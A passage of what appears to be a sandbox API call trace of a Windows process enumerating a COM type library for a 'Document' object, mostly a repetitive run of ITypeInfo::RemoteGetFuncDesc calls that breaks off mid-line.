[0071.359] GetActiveWindow () returned 0x10316 [0071.361] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d748f40, cb=0x170) returned 0x2885d8b37b0 [0071.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e44c0 [0071.362] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5b30 | out: ppvObject=0xbcb38f5b30*=0x0) returned 0x80004002 [0071.362] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f5a78 | out: ppvObject=0xbcb38f5a78*=0x2885d2711b8) returned 0x0 [0071.362] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f5a88 | out: pVarVal=0xbcb38f5a88*(varType=0x0, wReserved1=0xb38f, wReserved2=0xbc, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0071.362] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0071.362] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f5a80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f5aa0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f5aa0*="巰뎏¼") returned 0x0 [0071.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f5990, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0071.362] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0071.362] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5a80, pDummy=0x0 | out: ppTypeAttr=0xbcb38f5a80, pDummy=0x0) returned 0x0 [0071.362] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.362] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.362] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x10, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x11, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x12, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x13, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x14, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x15, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x16, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x17, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x18, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.363] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.363] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x19, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x20, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x21, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x22, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x23, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x24, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x25, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x26, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x27, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x28, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x29, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.364] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.364] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x30, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x31, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x32, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x33, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x34, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x35, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x36, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x37, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x38, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x39, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.365] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.365] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x40, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x41, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x42, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x43, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x44, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x45, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x46, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x47, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x48, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x49, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.366] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.366] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x50, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x51, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x52, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x53, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x54, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x55, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) 